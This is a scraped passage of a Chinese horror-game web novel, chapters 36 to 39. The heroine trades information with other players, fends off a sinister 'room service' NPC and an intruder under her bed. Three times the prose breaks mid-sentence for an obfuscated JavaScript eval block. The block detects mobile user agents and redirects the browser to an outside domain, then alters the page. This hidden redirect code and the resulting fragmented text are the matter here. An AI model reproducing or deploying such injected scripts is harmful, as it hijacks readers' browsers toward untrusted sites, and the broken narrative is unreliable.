“我知道了。走吧,你的情况得歇一歇,我们先去餐厅,之后你再完成剩下的两小时运动任务。” 三人走出门,林屿忽然想到什么,忽然停下了脚步,“现在什么时间了?” 孟锦竹回答:“唔,没有手表,怎么了?” “午饭的时候已经下午两点钟了,我们仅仅花在运动任务上的时间就有四个小时,但是肯定不止,而规则要我们在九点之前就寝,所以现在还有没有足够的时间完成任务?” 孙覃也意识到事情的紧迫性,“要不你们先走,我做完运动之后再去餐厅?” 如果只能二选一的话,也说不准不去吃晚餐和完不成任务哪一种更好,虽然运动时会遇到危险,但每天的强制三顿饭肯定不是好事,危险只要能避过去就没事,但饭食的作用还无从知晓,于是林屿点点头道:“选体操,别再选瑜伽了。” 写着“饮食中心”的大厅中,已坐着四个玩家。漆春、汪睿坐在一桌,田子阳依然独行侠,还有三个被惩罚玩家中的那一对情侣中的女孩,她似乎一个人被留在了这里。 此刻她对着盘子里堆成山的食物哭泣,林屿想了想,打了一盘子晚饭——重量控制在1千克左右,毕竟这是每餐最低标准,坐在了女孩身边。 “是在烦恼这些饭菜吗?” 女孩抬起袖子胡乱擦了擦脸,露出一双红彤彤的眼睛,“其实不是,我脚扭了……” 林屿有些意外,她一直在餐厅吃饭,怎么会扭到脚?另外两个人呢,他们装了那么多东西,不可能吃得完。要知道,现在吃的可不是什么虚假的东西,都是可以装进背包里的、能填饱肚子的真家伙,吃下去胃是有感觉的。 想到这里林屿愣了愣,说起来她现在已经没有任何饱腹感了,然而中午那一餐的分量不算少,甚至超出了食量,把副本时间当成真实时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等待未知危险和随之而来的恐怖比死亡本身更加可怕。耿晴双嘴里说着要努力挽回失误,但眼里已经没有了希望的光彩。 林屿不知怎么安慰她,过了一会儿,她又开始舀起盘子里的东西往嘴巴里送,机械地嚼食着,看起来在努力挽救自己的求生欲。 林屿又莫名地想起了贺望的警告——或者说,忠告,他说别妄想通关,不如现在就放弃。这句话似乎隐含着深意。 他似乎不认为玩家能够通关。 不通关,又要怎样离开呢?副本失败、等待被NPC杀死,或者……自己结束这一切进入小黑屋。 林屿暂时无从判断如何做才是正确的,这个副本处处透出诡异,但知情的人要么站在相反立场,要么是个谜语人,透露一点让人去猜。 但猜的人却要拿命去试。 她并不打算听从贺望的“忠告”,既然来了,那就弄明白这个副本再走。 孟锦竹一进饮食中心,立刻想起开局装作陌生人的事,自己坐到了一边,林屿虽然觉得事到如今这个“鸡蛋不放到一个篮子里”的做法有些多此一举,但还是配合着她演戏,目不斜视地装作陌生人路过了孟锦竹的桌子——而她也一样正襟危坐,目不斜视。 原来这家伙喜欢演戏,难怪技能是变身。 林屿走到漆春和汪睿面前,向两人打了个招呼,“之前你们在楼下健身房?” “对呀!”漆春说道,“我感觉健身房比泳池安全不少,而且有个玩家都敢一个人在那,所以我们两个也选了那里,看来选对了,虽然也遇到故障,但是有准备就能避过去了。” 说起田子阳,林屿想起先前说要交换的问题,这回她已经手握着自己那份问题的答案,于是走了过去。 田子阳挑眉道:“效率很快嘛,出去说。” “你先说之前怎么处理单车故障的,你的具体技能效果。”林屿率先开口。 “一般我不会先付账,除非……”田子阳笑了一下。 36. 第三十六章 不等林屿反应,又听他道:“我看好你,先说也无妨。我可以看到单车和受到副本影响的机器哪里出了问题,所以能避开或者处理,至于技能嘛……” 他看着林屿,示意该她提供消息了。 林屿反应过来,原来是这种你一句我一句的交换方式,“还有一个教练的名字是李耀,除了他,我还看到一个没有出现的NPC。” “谁?”田子阳说完意识到轮到自己了,“我的技能名字叫‘阴阳眼’,顾名思义,可以看到副本里的鬼魂和怨气,机器故障就是怨气引起的。” “所以这还是个灵异副本?” “哪个副本不带点灵异呢?”田子阳反问。 确实,从第一个副本开始,里面的NPC或多或少都是“死后”的状态,“看来你的技能很实用。” “天资过人,无可奈何。”田子阳一点也不谦虚。 无语。 林屿继续道:“那个NPC是厨师,唔,就在这条过道后面。两个教练和厨师都住在三楼右边。” 田子阳顺着林屿的手指看到了那条过道,“我本来想去的,但那个时候□□走来走去的烦死个人。关于另外那个教练的,你还有消息吗?” “有,不过你先回答,中午选餐的时候为什么没有多拿?那个时候你应该不知道规则吧?” “当然不知道规则,但你忘了我的技能是阴阳眼?” 林屿一下子意识到了什么,心里有了不好的预感,“你是说饭菜被动了手脚?” 她仔细检查过一遍,那个时候没有看到黑气,难道是下毒? “把食物做成各种泥的形状,就是为了方便动手脚?” “反应很快嘛。”田子阳语气却依然轻快,“别紧张,放松点,虽然动了手脚,但是吃了暂时没有大问题。” “怎么说?”林屿的神色依然紧绷,“你有阴阳眼,难道动的手脚关于灵异?” “Bingo!”田子阳打了个响指,“里面似乎被放了一些灵异的材料,而且是所有东西都有,没办法清除,但那种灵异却不包含恶意,似乎不是厉鬼做的。” “厉鬼,是指那些身上有黑气的NPC吗?”林屿想了想问道。 田子阳略显惊讶,“你竟然也能看见?你的技能?” “没办法,天资过人,无可奈何。”林屿面无表情地把他的话还了回去,并不打算解释。何况她自己也不知道为什么能够看到那些“黑气”。 面前这个略有几分学生气的年轻女子的形象在田子阳眼里顿时高深莫测起来,他有些怀疑自己开始的推测:她是一个有潜力的新人。不过表面上他仍然是那副吊儿郎当的模样,“没想到,啧啧,我还以为你是最近那一批进游戏的新人呢……” “最近?最近是多久?”难道这个地方一直在陆陆续续拉新的人进来吗? “三天前。”田子阳信心十足地说道,“为什么记得这么清楚?以前副本只有一两个新人进来,但三天前每个副本突然涌进大量新人,而在此之后这里似乎封闭起来了,我过了三个本,没有一个本有新人,你应该能察觉到这件事吧?” 林屿默默记下这个情报,提醒他道,“说正题,你还没回答我厉鬼的事。” “唔,没错,我说的厉鬼就是那些身上满是黑气的NPC,不过一般人看不见,顶多觉得他们很诡异。” “说是厉鬼,为什么他们有实体?”林屿又问。 “厉鬼只是一个称呼,因为那些NPC的状态是‘死后’,而且已经被仇恨、怨念或者执念所支配,至于他们有实体的事……”田子阳笑了一下,“你觉得这个地方还讲究什么科学和逻辑吗?” “讲不讲科学不知道,但逻辑是一定有的,只不过我们坐井观天,不明白这个并非我们熟知的‘逻辑’。” 田子阳吹了个口哨,笑着说:“我喜欢这句话,不过我的消息不会因此降价。” 轮到林屿说了,鉴于他解释了这么多,于是稍稍多透露了一些。 “李耀和□□不一样,他对经理和董事长没有服从意识,处于消极工作状态。” 她在瞎说什么大实话。 “有趣,还有呢?” “不用过多在意这个NPC,比较重要的是,我看到□□从负一楼走了上来,而之前他没有下楼。” 林屿顺便透露了负一楼那扇阴森的铁门,以及背后疑似配电房的房间,至于铁门后究竟是什么,通向那一层楼,就让他自己去摸索吧。 “你的消息比其他玩家灵通多了。” 情报交易结束,田子阳看林屿的眼神就像在看一个宝库,“希望之后也合作愉快。” …… 林屿回到二楼看了看,镜子房间的大门紧闭,孙覃在里面完成指标,她拿出纸条,上面没有新的字迹,他应当没有再陷入危险。 显然在这个期间外面的人是不能加入进去的,或许先前他们三人在这里没有遇到其余玩家的原因就是这个——不是没人上楼,但来得不巧,他们正好在里面跳操,大门打不开。 现在她终于完成了今日副本所有的强制要求,有了一小段空白时间,要去哪里看看? 这里一共有四层楼,负一楼、一楼和二楼都被她逛过一遍,三楼右侧员工休息的地方也去过了,剩下的只有那两个比较可怕的NPC的办公室。 林屿站了一会儿,心里有了目标。 所有玩家来到副本,最终的目的不就是一个吗? 通关。 而通关的关键,应当就写在开局□□提起过的“合同”里。 她得找到自己的合同,知道究竟要完成什么任务才算达标。 她来到三楼,敲响了经理办公室的门。 “叩叩叩,叩叩叩。” 林屿敲得彬彬有礼,然而这声音回荡在空旷的走廊中,莫名有些阴森可怖。 走廊两端的光线似乎不那么充足,越往深处看,黑暗越发浓重。她往右侧看了看,贺望和另外两个NPC的房门依然紧闭,不知道里面究竟有没有人。 也不知道丁经理在不在办公室。 林屿深思熟虑后,决定来这个NPC的地方试探一番,他和董事长属于能够命令其他NPC的更高权威,危险性应该都不低,但是要看到自己的“合同”,只有从他们这里突破。比起会在开局直接动手的董事长,林屿更愿意选择他,至少他没有那么“雷厉风行”。 林屿十分有耐心地在门外等着,每隔一小段时间就敲一次,既然已经弄出声响了,那么偷偷潜入显然不是好办法,何况门把手根本拧不开,可恶的丁经理过于小心谨慎,杜绝了她偷溜进去的可能。 四周静悄悄的,不论是这间办公室还是旁边办公室,或者那三个员工房,没有人开门查看或者询问。 这里似乎没有人。 林屿敲了五分钟之后,决定再敲一会儿就放弃。 丁经理或许不在这里。 又过了五分钟,就在她收回手,准备去敲旁边的门的时候,里面响起了拖鞋的“啪嗒”声,丁经理一身家常装,出现在办公室的门口,一脸不悦地盯着她,语气不复一开始迎接玩家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495278|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热情。 “什么事?” “经理,我作为消费者,想向贵公司反映一个问题。”林屿拿出早就编好的借口。 “什么问题?” 林屿往里看了看,和她的推测一样,十分宽敞的办公室,大约有五十平米的面积,办公桌后隔开了一个空间,似乎是休息的地方,而桌上放着一台电脑和打印机,除此之外没有其它的了。 似乎也没有什么可疑之处。 “说来话长,不请我进去坐坐吗?” 丁经理不情不愿地让开了身子,头顶的中空地带一个反光,差点晃到了她的眼睛。 “贵公司给我们成员制定了非常全面的日程,并且明确规定了运动和就寝的时间,想必非常希望我们能养成良好的生活作息和时间观念了。”林屿坐在待客沙发上说道。 “是的。”丁经理不知她葫芦里埋的什么药,也不坐下,就这样站着问道,“你想说什么?” “既然把时间规定得那么严,那么为什么没有给我们每人发个手表?你们的员工游手好闲经常找不到,但就算他时时刻刻都在,也不过一个人,我们可是分散在三层楼啊!要是因为看不到时间而触犯了规则,或者错过了就寝时间,该算谁的责任?” “我们有两个员工。”丁经理下意识反驳道,忽然想到什么,止住了话。 “两个?可我只看到一个!”林屿似乎非常惊讶。 “你听错了,员工是少了点,这样,我在餐厅挂一个钟,你们参照那个钟的时间。”丁经理似乎很想赶人,因此很快满足了她的要求。 林屿的屁股没有挪位置,她像是抓到把柄的无赖客人一样,皱着眉头,“现在才知道挂钟,那你们一开始做什么去了?而且挂钟多不吉利啊,当初合同上怎么说的?你们是不是觉得我们不懂法欺诈我们?” 丁经理深吸一口气,咬牙切齿道:“那我给你们每人发一个手表,行了吧?” “不用那么麻烦,就挂钟吧。”林屿忽然把找茬的气势一收,直起身子状似不经意地说道,“不过我要看看合同,免得你们之后继续耍幺蛾子,欺诈我们交了费的学员。” 不能要手表,谁知道手表里面会动什么手脚? “合同不在我这,在董事长那里,你去找他要。”丁经理不耐烦地说道,目光瞄向门口,“我还有工作要处理,就不送你了。” 在董事长那里! 林屿心想糟了,这下不好办了。 董事长——这可是她遇到的危险性数一数二的NPC,而且他身上还没有黑气,说明不是被仇恨执念驱动的厉鬼! 也就是说,他本身的性格就是这样藐视生命,冷酷无情,处于认为有人妨碍到他就能立刻下杀手的反社会状态,而且这里没有警察,一切全靠玩家自己…… 她刚才为什么只敲丁经理的门,就是因为不愿意和董事长对上啊! 林屿痛苦地想着,至少也有好事,说明玩家和这个野鸡的诡异减肥营之间确有“合同”,而且八成通关的条件就写在合同上了。 她走出门,在丁经理的注视下犹豫了一下,转身下楼。 然后在二楼的走廊的拐角处站定。 过了一会儿,她看到肥头大耳的厨师端着一盘东西上了三楼,然后空着手走下来。盘子上盖着罩子,她看不见里面是什么东西。 看来丁经理晚饭懒得去餐厅,于是点了“外卖”,刚才他就是不想让林屿留到他吃饭的时间。 林屿回想起在方才的办公桌上看到的电脑——所以丁经理能不能看到那些监控? 37. 第三十七章 至少董事长能看到那些监控。 他每次出现的时机都太过巧合了。 一想到这里,林屿忍不住又在走廊天花板和墙面上搜寻了一遍,苍白的灯光下,墙角投下的大片阴影也像是森冷的幽蓝,让人心中发憷。如果走廊上也有藏起来的监控,那么她的一举一动都在他的眼皮子底下——一旦违背了规则,就会被残忍地杀死。 至于刚才那番话,对丁经理说和对董事长说的效果是不一样的,林屿总觉得他不会对拐弯抹角的拉扯有耐烦心,万一到时候她成了第二个肖昌盛就好玩了。 如果直接去问合同的事呢?也不失为一个方法,但是她必须做好和他对上的准备。 现在或许不是个好时机,她还需要知道更多的东西,至少要知道这个副本的种种违和之处究竟是怎么回事。 何况,还有一个隐患没有处理。 林屿向楼梯口走去,她准备去健身房看一看那两个违规玩家的情况,尤其是钱刚的情况。 这时旁边的房门打开了,孙覃从里面走出来,以为林屿一直在外面等他,愣了愣,随后快步走来。 林屿的目光在他的脸上凝视了一会儿,放松肩膀,“你完成了?” “完成了。多亏了你的提醒才会这么顺利。”孙覃回答,随后问起她在这里的原因,“你一直在这里吗?是有要紧的事情找我?” “我也只是刚刚过来,顺路。”林屿指了指楼下,“走吧,现在去餐厅看看晚饭还来不来得及。” 林屿把他送到餐厅,一进门就看见了挂在墙壁上的时钟,指针指向八点四十五分,孙覃还有十五分钟的晚饭时间,他也意识到了这一点,立刻开始选餐。 ——被动过手脚的食物。 林屿又想起这一点,然而这里到处都是监视的眼睛,玩家没有任何选择。违反这一项规则的例子还历历在目,他们没有办法现在就和NPC翻脸。 这里已经没有其他玩家了。 桌台上的假花已经被换了一批新的,但是林屿并不打算再次去检查里面有没有微型摄像头——肯定有,现在去看就相当于告诉背后的人她已经知道这一点了。 她走出餐厅,来到一楼的健身房,里面有两个人还在哼哧哼哧地跑着步,是钱刚和劳小帅。钱刚察觉到来人,转头往门口看了一眼,又不感兴趣地扭回头,专心弥补欠下的“运动时间”。 他们两人不知已经在跑步机上跑了多久,浑身都是汗水,脸色却是惨白,不知是因为撑到了还是害怕没完成任务被针对。 每天八小时的运动时间,说不定今天的量还欠着,明天还得一起补上。 她看着钱刚吃力的模样,感觉来自他的威胁已经无限缩小,他自顾不暇,只要离远点,他不会有出手的时机。 林屿离开健身房,来到二楼玩家休息的区域。这里已经有四个房间都住进了人,只剩下一间空屋子。 孟锦竹在纸条上说她在第三间,林屿想到维持人设的事,于是敲响了从外往里数的第一间,开门的是漆春,她看到林屿,眼睛一亮,随后又有些犹豫,“你是不是没找到房间?那个,我和汪睿组队了……” 这也很正常,很多副本都不止历时一天,而经历多了,在这方面就不再顾及性别。 “没事,我在问一问吧。” 其实她只是想知道其他人的位置。 第二间住着耿晴双,她听到响动拉开窗帘张望,见到来人,眼里流露出一丝不易察觉的失落。 第四间住着田子阳,虽然他说不介意混住,但她还是拒绝了。 林屿最终选择了第五个房间,肖昌盛留下了一个空位,她准备自己单独一间,等下任何人过来都拒绝。 不知道这个副本的夜晚,又会遇到什么。 门外陆陆续续响起脚步,她把窗帘拉开一条缝隙,从走廊的窗户往外看,钱刚和劳小帅结伴从健身房过来了。 劳小帅进了他女友所在的第二间,钱刚铁青着脸,看着牢牢关上的五个房门,从牙缝里挤出来一句,“你们谁那里还有空位?” 没人理会,他尴尬地站在原地。 时间一分一秒地过去,不知会在哪一个时刻经过九点这一规定就寝的时间。 走廊里的灯光似乎变暗了。 钱刚知道不能再拖下去,不然他铁定在今晚祭天,开始挨个敲门。 很不幸,他是从里往外敲的。 “砰砰砰砰!”房门震动不休,钱刚用的力气很大,因为生存的压力迫在眼前,但是林屿不可能放他进来,不然就轮到她生存的压力就迫在眼前了。 她刷地一声拉开窗帘,面无表情地看着他。 钱刚用力敲打着房门,忽然看见旁边的窗帘一收,蓦地出现一道黑漆漆的轮廓,看样子似乎是个人。 他被吓了一跳,手上的动作停了下来。 看清窗户里的人之后,他骂了一句,知道自己不可能进得了这间房间,而且他也不愿意和她一间——他的匕首已经被她拿去了,天知道进门以后能不能活到第二天。 钱刚转身开始敲旁边的门,走廊里的光线越发黯淡,他能感觉到九点将近,动作非常用力,一时间砸门巨大声响已经比得上林屿在第一个副本夜晚所经历的,斧头砸门的响动。 旁边就是田子阳,他和钱刚不对付,有充足的理由不开门,不过目前只有他们两人的房间有空位。 田子阳似乎也让钱刚看到了他,她听到他们开始隔着门互相问候对方的祖宗。他们两个人也关系糟糕,恨不得对方去死。 钱刚和他骂了几个来回,也意识到现在不是发泄怒火的时机,他的目光在两个有空位的房间逡巡不定。 林屿心头有些不妙的感觉,糟糕,她先前选房间的时候没有考虑到一个问题——钱刚的技能,导致现在选择权到了钱刚手中。 面对两个不对付的人同时不给开门的情况,他也许会选她这一间,因为自己看起来威胁性更小,而且他有能让什么东西坏掉的技能,一旦选定房间,或许能让门锁坏掉进门。 退一步讲,就算自己拿东西抵住门,他也可以一直在自己的门外,把夜里的危险吸引过来拉一个垫背的。 要不她主动过去和田子阳一间,把这个房间让给钱刚? 问题就是自己出门以后,田子阳也不一定会给她开门,虽然这种可能很小,但他也许会趁机开价,要点积分或者情报……这种可能性不小,但也不是不能接受。 只不过……把房间让给想要自己命的人,她还没有那么大方。 钱刚的脚步已经停在了她的门外。 林屿在心里想着自己的技能能不能应对现在的情况,实在不行……她的手中出现了那把收缴的匕首。 但这不是最好的选择,和一个成年男人肉搏。 有了! 先前就留意到房间里有纸笔,她连忙撕下一张纸,用笔写上一句话,随后“给予”到了隔壁。 “开门!你也不想我弄坏锁头吧?”钱刚的声音从门外传来,他在威胁她。 林屿提起一颗心。如果田子阳不愿意的话……那她就只能再增加一些筹码了,想着,她撕下了第二张纸。 而这时旁边传来开门的动静,“大半夜你嚎生么嚎,还不快进来!” “你!”钱刚意外地看着敞开的房门,虽然他弄不懂为什么田子阳改变主意,但机不可失,也顾不得这个人的目的了,飞快地跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在她把眼睛凑过去的时候,在不远处的走廊敲着第一扇房门的不明人物说话了。 “请问你们需要客房服务吗?” 啊,是他啊。 是□□,这个一直兢兢业业的NPC。 他在问客房服务? ??? 林屿有些不明白了,他卖的什么服务,难道真觉得会有玩家给他开门? 等等,她忽然想起来,一直以来经历的副本都致力于营造一种虚假乙游的氛围。第一个副本设置了一个好感度,好感度够高甚至晚上会有NPC“爬床”,第二个副本给每个玩家发了一个有毒cp,这个副本难道想在“客房服务”这一点上擦乙游的边? ?所以,这究竟是什么服务啊……不会是路边小卡片那种…… “请问您需要我在夜里陪同吗?” OMG! 林屿已经不知道怎么吐槽了,她心里不知怎么回事有一种尘埃落定的感觉,这个世界的副本果然还是熟悉的德性,只能希望这种“超尺度游戏”尽快被查封…… 所以,他真的觉得有玩家会给他开门吗? “不用了,我们不需要。” 林屿隐约听出汪睿的声音,在他拒绝以后,□□来到了第二间。 有了前面的例子,后面两个房间的玩家拒绝得飞快,不到两分钟,□□就走到了第四山门外,距离林屿的房间只有短短的两步之遥。 林屿的心跳加快了,无论怎样,门外的NPC在此情此景下,都有很高的概率变得比白天危险。 田子阳轻佻的声音隔着墙壁,传到她耳朵里,“我也不需要,我又不是gay。” 林屿脑海中立刻浮现起他夹克衫黑皮裤的装扮,以及他说话时像是调戏对方一样的姿势——他真的很没有说服力啊! 38. 第三十八章 “没有人问你是不是gay!” 林屿听见钱刚嘲讽了一句,随后门外归于一片寂静。 她的心略微提了起来,□□来到她的门外了。 “请问需要客房服务吗?” 谁需要这个诡异副本里危险NPC的客房服务啊!林屿在心里吐槽,拒绝了□□。 “不需要,谢谢!” 所幸,□□和前面一样没有纠缠,听见拒绝之后就准备离开了。 林屿再次检查了一下窗户锁和门锁,心里略松一口气,准备最后再找找摄像头就上床休息。说实话副本里的一切感觉都很真实,她跑上跑下一整天,无论是身体还是精神都很累了。 就在她转身的时候,门吱呀一声发出轴承转动的声音,一股冷风吹到后背上,瞬间撩起一身鸡皮疙瘩。 林屿难以置信地回过头,黑暗中大门的轮廓不甚清晰,但她仍然能感觉到打开了一道缝隙,她能听见□□去而复返、近在咫尺的脚步。 电光火石之间,林屿用了十成十的劲头扑到门上,将刚刚被吹开一条缝的大门猛然关闭,一手撑着门,一手忙乱地摸索着把手的位置——她得立刻把门反锁了! “你要点客房服务吗?” 隔着薄薄的一扇门板,□□的声音几乎没有削减地透过来,近在咫尺。他这回没有方才那种绅士的、点到为止的礼节,在没有得到回应的情况下就开始推门,像是终于嗅到血腥味的鲨鱼。 房门被推开了一条缝,林屿用肩膀使力一顶,将房门重新合上,手已经摸到了锁的位置,她在角力中艰难地分心出来,“咔哒”,扭动了锁头。 应该锁上了吧?林屿不确定地想着,她明明检查过的,怎么会突然开门? 心思电转间忽然想到应该可能——是钱刚的技能!这两间屋子的距离太近了,在他技能的范围之内! 想到这里,她还没来得及做出反应,门就被一股大力掀开,连带抵在门后的她也踉跄了几步。她听见“当啷”金属落地的声音,房门大敞,□□已经走进来了。 “你点了客房服务,是吗?” 她已经赶不走这个人了。 林屿自知无法把他推出门外,于是“啪”地打开了电灯,至少要让她看看来者下一步的动作。 □□不适地眯了眯眼,完全暴露在灯光的照射下。 谢天谢地,他看起来仍然是正常的。 房门的锁芯落在他的脚边,还在孤零零地打着转,螺钉已经断成两截,林屿一看就知道是怎么回事了。 钱刚!本以为他在繁重的任务下会偃旗息鼓,没想到都那副模样了,还要忙里偷闲地来暗算她,真是不知该说他执着还是阴魂不散。 看来她低估了别人的恶意,只不过她真弄不明白她不过就是阻挠了他的一桩生意,至于做得这么过分吗? 要是在现实里,她一定报警。可惜,副本里规则即是真理,而规则不阻止自相残杀。 他一天已经用过三次技能,虽然林屿不知道他的技能是怎么算的,但按照她所见识到的玩家技能强度来推断,大概已经到极限了,需要“冷却”时间。如果不是,那她就见招拆招。 不过此时的危险仍然摆在面前,□□看起来没有离开的打算,她不可能让他在这里过夜。 “需要几个小时的客房服务?”□□的问题更进一步。 林屿挡在他的面前,用眼神把他全身上下扫了一遍,忽然露出一个有深意的笑容,“客房服务?” 她的手落在他裤兜的位置,但没有碰到他,隔着一层若有似无的距离,“是指这种客房服务吗?” □□似乎第一次看到如此主动的学员,沉默了一会儿,“可以是这种。” 什么叫可以是这种? 林屿差点维持不住表情,没想到这个副本下限这么低!NPC还能兼职男/木/莫吗?现在是什么情况?简直像是夜那什么现场一样! 她还是个冰清玉洁从没有谈过恋爱的魔法少女啊! 毁灭吧!世界! 林屿闪电般地收回手,勉强撑住淡定的表情,她并不是真的想调戏他,没必要再和他纠缠。 “我不需要客房服务。”她冷漠地拒绝。 “你已经开了门。”□□又往前走了一步。 林屿不得不后退,“开门就必须点服务吗?” “是的。” 他还强买强卖。 “你原本说的服务是哪种?”林屿又问。 “你付费,我留下。” 还付费???这不是招…… 林屿对这个因为自己玩乙游而卷进来的世界心服口服,现在她有些相信蓝虹蝶的推测了,这简直像是那什么不法小破站的道德水准,完全就是一副逍遥法外没有监管的样子! 还好她及时挽回理智,“付费?你是指什么?” □□:“你付几个小时运动时间,我留几个小时。” 运动时间!林屿十分意外,原来付的是这个?运动时间是这个用处吗? 那么他留下,是不是有他的用处? “我付给你,我的运动时间会减少吗,这样是不是就不达标了?” “会减少,所以建议白天多运动。” 林屿恍然,心里隐约松了一口气,□□此时出现在这里,似乎并不是为了伤害玩家,他没有强制性破门大概就是这个原因,虽然“留宿”的作用还不清楚。 “我的时间刚刚够四个小时,没有多余的付给你。”林屿说道。 但□□没有离开的意思,“可是你已经开门了。” 这是要强买强卖?现在要怎么办?留下他,无论给出几个小时,都相当于白天的运动不达标,违反了四个小时的最低标准,还不知道这样做的惩罚是什么。 但不留他,他也还在这里,要是不给他时间或许等下他就变成危险了,自己还没法去修门! 怎么办? 林屿看着□□木愣愣杵在房间正中的模样,内心越发焦虑。 好想把他丢出去啊!这个木桩子,他被拒绝这么多次也没有情绪的吗? □□似乎有些不耐烦了,开口催促,“决定好了没有,几个小时?” 他这一开口,她的焦虑却反常地减轻不少。 林屿忽然有一个猜测,她深吸一口气,决定试验一番。维持着半侧身的角度,她扭过身子,捡起锁芯,并用半个螺钉试图把它装回去。余光里□□并无动作。 她刚才好像发现了一点别的东西,关于自己的技能。 装锁的时候,她不得不硬着头皮将背对着NPC,此刻,她丧失了对危险NPC的观察视角,也不知门外会不会突然出现什么东西,恐惧在心底自然而然地滋生,而她放任着这种感觉流淌过每一个毛孔。 不过也并不是全然不顾背后,林屿一边装锁芯,一边透过窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495280|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户的倒影留意着身后的动静。 □□从一开始的木楞到刚才的烦躁,现在又变得有些坐立不安,他是不是调整一下手表,拉扯着自己的衣摆,左右环顾着,最后走到墙边打开了另一盏灯。 光线瞬间明亮不少。 林屿用半截螺钉勉强装上门锁,虽然很不牢固的样子,但应该能撑过今天了。心绪落定,林屿直起身,停止发动技能。 她方才把自己的情绪“给予”给了这个NPC,他也显而易见变得焦躁疑虑——原来自己的技能还能这样用。 □□似乎有些疑虑自己方才的举动,不过他没有深思,重新注视着房间的主人,询问她准备付出几个小时。 林屿有些遗憾,可惜给予情绪并不能把人请出去。 她试了试锁,它已经能用了,于是专心地思考着处理眼前人的方法,她不付出运动时间,难道就这样僵持一晚上? 她向前走了几步,利用手臂遮挡住□□的视线后把床头柜拉开一道缝隙,里面金属的光泽一闪而过。 在□□进门的时候,她试图用技能把他在淋浴间捡到的钥匙“给予”到自己手上,然而失败了,她猜想给予的含义是“给”,也就是说只能将“自己”的东西给别人,但什么是自己的东西呢?想到技能最开始是把手里的东西给予给别人,于是把手放在了先前见到的他装钥匙的裤兜上方。 技能发动后,她没机会去查看结果,而现在已经顾不得这么多,他怀疑就怀疑吧,只要不让他看见钥匙就行。 所幸结果不错,她成功了。 如此一来,林屿就有办法把他“请出去”了。 □□看见眼前的玩家锁上了门,以为她准备付出运动时间“雇佣”自己了,正要达成交易,眼前突然一黑,就好像有谁一下子熄灭了灯光一样。 他又回到了走廊。 再去开门时门已经打不开了。 听着NPC离开的脚步,林屿虚脱地靠在门上,谢天谢地她没有被迫违规,终于离惨死远了一步。不过她不会忘记这一切的始作俑者。 原本还想着他已经够惨了,在这个副本里迟早会栽,所以没去管他,但这种冷处理却换得对方的变本加厉,那么她就要改变方法了。 林屿再次检查了一遍门窗,然后把床头柜拖过去抵住门,关上灯查看隐蔽处有无监控的红点,最后终于放松肩背,倒在被单上。 迷糊地放空了一会儿,鼻端香味逐渐浓郁,她勉强睁着眼睛看着黑暗里的天花板,没来由想到自己的第一个副本。那时每晚都有一个讨厌鬼扣自己辛辛苦苦赚来的好感度积分,而这个副本他也在这里。 希望今夜无人打扰。 床头放着柠檬味的熏香,明明应该是提神醒脑的味道,但闻着却十分助眠。林屿就要睡去,却在模模糊糊的时候被争吵声吵醒了。 夜晚宁静,任何一点响动都会在耳中放大,何况这些房门本就不怎么隔音。劳小帅的吼声冲到走廊上,又传入每一个玩家的房间。 “都说了我带不了你了!我自己都勉强!” 断断续续的抽泣之后,耿晴双说:“可是你让我跟着你装那些食物,说一切没问题的啊……” 争吵持续了一会儿,随后在夜里消散,一切归于宁静。 林屿再次闭上眼睛,忽然听到床下的动静,一个鲤鱼打挺坐了起来。 今晚上到底有完没完!还让不让人睡觉了! 39. 第三十九章 黑暗诡谲的夜晚,床下传来窸窸窣窣的声响,随后,从床底慢慢地伸出一个人头,那个人头从头顶露到脖子的时候还翻转过来,从头发的那一面一百八十度旋转到正面——即使在没有灵异的现实世界里都已经足够吓人,何况是在充满诡异的副本之中。 然而,林屿只是面无表情地坐在床上,和床下的“东西”来了个面对面。 “……嗨。”人头眨了眨眼睛,扯出一个微笑。 “嗨你个头。”林屿抱起胳臂俯视他,“为什么每次在副本里你都在闯我房间?还有瘾了是吧?有事说事,说完回你自己的地方去。” “我自己的地方不安全了,不然我怎么会来这里。”他慢慢把身子从床下探出来,“你知不知道你的床底下有个通道?” 林屿看着他爬出床底,然后整理了一遍头发衣服,在没有开灯完全黑暗的夜晚,只能看见一双泛着金色微光的眼睛。她不由自主在那双眼睛上停留了一会儿,除了欣赏美丽的原因之外,还是因为疑惑——人有这样的眼睛吗? 人类的眼睛,即使颜色再罕见,也不会在夜里发光。 他整理好自己,又找了个椅子反着坐下,把靠背当做放胳臂的地方,撑着脸,就这样看着她,“我可以在夜里帮你警戒,免得有什么东西爬出来。” “那真是谢谢你,不过唯一爬出来的东西只有你。”林屿心情不大美妙,这是今晚被打扰的第三次,眼睛都快睁不开了,还得打起精神应付贺望和床底下的洞。 她开了灯,借着突然明亮的灯光刺激醒了醒神,挪开了床架。 